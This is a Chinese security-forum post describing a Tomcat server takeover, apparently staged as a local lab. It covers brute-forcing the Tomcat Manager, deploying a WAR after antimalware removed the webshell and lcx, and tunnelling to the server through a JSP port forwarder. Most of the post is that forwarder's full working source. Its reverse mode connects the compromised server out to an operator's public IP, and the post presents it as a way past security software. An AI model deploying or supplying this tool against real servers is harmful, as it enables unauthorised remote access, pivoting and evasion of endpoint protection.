安全矩阵

 找回密码
 立即注册
搜索
查看: 1596|回复: 0

通过JSP端口转发拿下服务器权限

[复制链接]

65

主题

65

帖子

241

积分

中级会员

Rank: 3Rank: 3

积分
241
发表于 2022-7-20 20:11:23 | 显示全部楼层 |阅读模式
通过JSP端口转发拿下服务器权限 (qq.com)
这篇文章是@欧根亲王号师傅19年投稿发在星球的,经他同意转发至公众号,内容比较基础。

记得他当时是在本地模拟的一个实战场景来做的这个测试实验(绕过安全防护进行端口转发)。

0x01 环境简要
目标主机:Widnows
目标防护软件:Antimalware
目标环境:JSP,Tomcat,Apache

本地主机:Windows、Kali
所需工具:Aapache爆破工具,Lcx,JSP代码,公网IP主机一个

所遇见问题:lcx被杀,webshell被杀

0x02 进攻说明
一、爆破登录口令
爆破Tomcat Web Application Manager,这里不做深入说明,大家都懂的

二、上传webshell
由于服务器上防护软件问题,上传的webshell被杀,lcx工具被杀,这里采取以jsp转发端口的形式来绕过

三、准备jsp页面的war包
使用kali把准备好的jsp页面打包,进入jsp页面目录下执行以下命令打包


jar -cvf aces.war


四、通过已有webshell创建用户名密码

五、通过后台部署war包


六、设置lcx监听本地端口并转发
使用lcx监听本地55并转发到3399端口上


七、访问jsp文件,并设置相关转发参数

参数说明:lip=127.0.0.1lp=需要转发的本地端口rip=公网监听IPrp=公网IP监听的端口号m=转发的模式



0x03 验证
成功登录,自此本次实验结束


0x04 JSP源码
​​​​​​​
  1. <p><%@page pageEncoding="GBK"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.nio.charset.*"%>
  5. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  6. <%@page import="java.net.*"%>
  7. <%
  8. /*code by KingX*/
  9. class KPortTran {
  10.   public void listen(String port1, String port2) {
  11.     ServerSocket listenServerSocket = null;
  12.     ServerSocket outServerSocket = null;
  13.     try {
  14.       listenServerSocket = new ServerSocket(Integer.parseInt(port1));
  15.       outServerSocket = new ServerSocket(Integer.parseInt(port2));
  16.     } catch (NumberFormatException e) {</p><p>    } catch (IOException e) {
  17.     }
  18.     Socket listenSocket = null;
  19.     Socket outSocket = null;
  20.     try {
  21.       while (true) {  
  22.         listenSocket = listenServerSocket.accept();
  23.         outSocket = outServerSocket.accept();
  24.         new tranThread(outSocket, listenSocket).start();
  25.         new tranThread(listenSocket, outSocket).start();
  26.         Thread.sleep(200);
  27.       }
  28.     } catch (Exception e) {  
  29.     }
  30.   }</p><p>  public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
  31.     InetAddress src = InetAddress.getByName(srcIP);
  32.     InetAddress dest = InetAddress.getByName(targetIP);
  33.     int p1 = Integer.parseInt(port1);
  34.     int p2 = Integer.parseInt(port2);
  35.     new Server(src, p2, dest, p1, true);
  36.   }</p><p>  public void tran(String srcIP, String port1, String targetIP, String port2)
  37.       throws NumberFormatException, IOException {
  38.     InetAddress src = InetAddress.getByName(srcIP);
  39.     InetAddress dest = InetAddress.getByName(targetIP);
  40.     int p1 = Integer.parseInt(port1);
  41.     int p2 = Integer.parseInt(port2);
  42.     new Server(src, p1, dest, p2, false);
  43.   }
  44. class tranThread extends Thread {
  45.   Socket in;
  46.   Socket out;
  47.   InputStream is;
  48.   OutputStream os;
  49.   public tranThread(Socket in, Socket out) throws IOException {
  50.     this.is = in.getInputStream();
  51.     this.os = out.getOutputStream();
  52.     this.in = in;
  53.     this.out = out;
  54.   }</p><p>  private void closeSocket() {
  55.     try {
  56.       is.close();
  57.       os.close();
  58.       in.close();
  59.       out.close();
  60.     } catch (IOException e) {
  61.     }
  62.   }
  63.   @Override
  64.   public void run() {
  65.     super.run();
  66.     byte[] buffer = new byte[4096];
  67.     int len = -1;
  68.     try {
  69.       while (true) {
  70.         if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
  71.           break;
  72.         } else {
  73.           os.write(buffer, 0, len);
  74.           os.flush();  
  75.         }
  76.       }
  77.     } catch (IOException e) {
  78.       closeSocket();
  79.     } finally {
  80.       closeSocket();
  81.     }
  82.   }
  83. }</p><p>
  84. class Server extends Thread {
  85.   InetAddress src;
  86.   InetAddress dest;
  87.   int p1, p2;
  88.   boolean reverse = false;</p><p>  public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
  89.       int targetPort, boolean flag) {
  90.     this.src = srcIP;
  91.     this.dest = targetIP;
  92.     this.p1 = srcPort;
  93.     this.p2 = targetPort;
  94.     this.reverse = flag;
  95.     start();
  96.   }</p><p>  @Override
  97.   public void run() {
  98.     super.run();
  99.     if (reverse) {
  100.       try {
  101.         Socket s = new Socket(src, p1);
  102.         Socket s2 = new Socket(dest, p2);
  103.         new tranThread(s, s2).start();
  104.         new tranThread(s2, s).start();</p><p>        while (true) {
  105.           if (s2.isClosed() || s.isClosed()) {
  106.             if (s2.isClosed()) {
  107.               s2 = new Socket(dest, p2);
  108.             }
  109.             if (s.isClosed()) {
  110.               s = new Socket(src, p1);
  111.             }
  112.             new tranThread(s, s2).start();
  113.             new tranThread(s2, s).start();
  114.           }
  115.           Thread.sleep(1000);
  116.         }
  117.       } catch (IOException e) {
  118.       } catch (InterruptedException e) {
  119.       }</p><p>    } else {
  120.       ServerSocket ss;
  121.       try {
  122.         ss = new ServerSocket(p1, 5, src);</p><p>        while (true) {
  123.           Socket s = ss.accept();
  124.           Socket s2 = new Socket(dest, p2);
  125.           new tranThread(s, s2).start();
  126.           new tranThread(s2, s).start();
  127.         }
  128.       } catch (IOException e) {
  129.         e.printStackTrace();
  130.       }
  131.     }
  132.   }
  133. }
  134. }
  135. %>
  136. <%
  137. final String localIP = request.getParameter("lip");
  138. final String localPort = request.getParameter("lp");
  139. final String localPort2 = request.getParameter("lp2");
  140. final String remoteIP =request.getParameter("rip");
  141. final String remotePort =request.getParameter("rp");
  142. final String mode =request.getParameter("m");</p><p>KPortTran pt = new KPortTran();
  143. if (mode.equals("tran")) {
  144.   pt.tran(localIP, localPort, remoteIP , remotePort);
  145. }
  146. if (mode.equals("slave")) {
  147.   pt.slave(localIP, localPort, remoteIP , remotePort);
  148. }
  149. if (mode.equals("listen")) {
  150.   pt.listen(localPort, localPort2);
  151. }</p><p>%></p>
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 20:43 , Processed in 0.031579 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表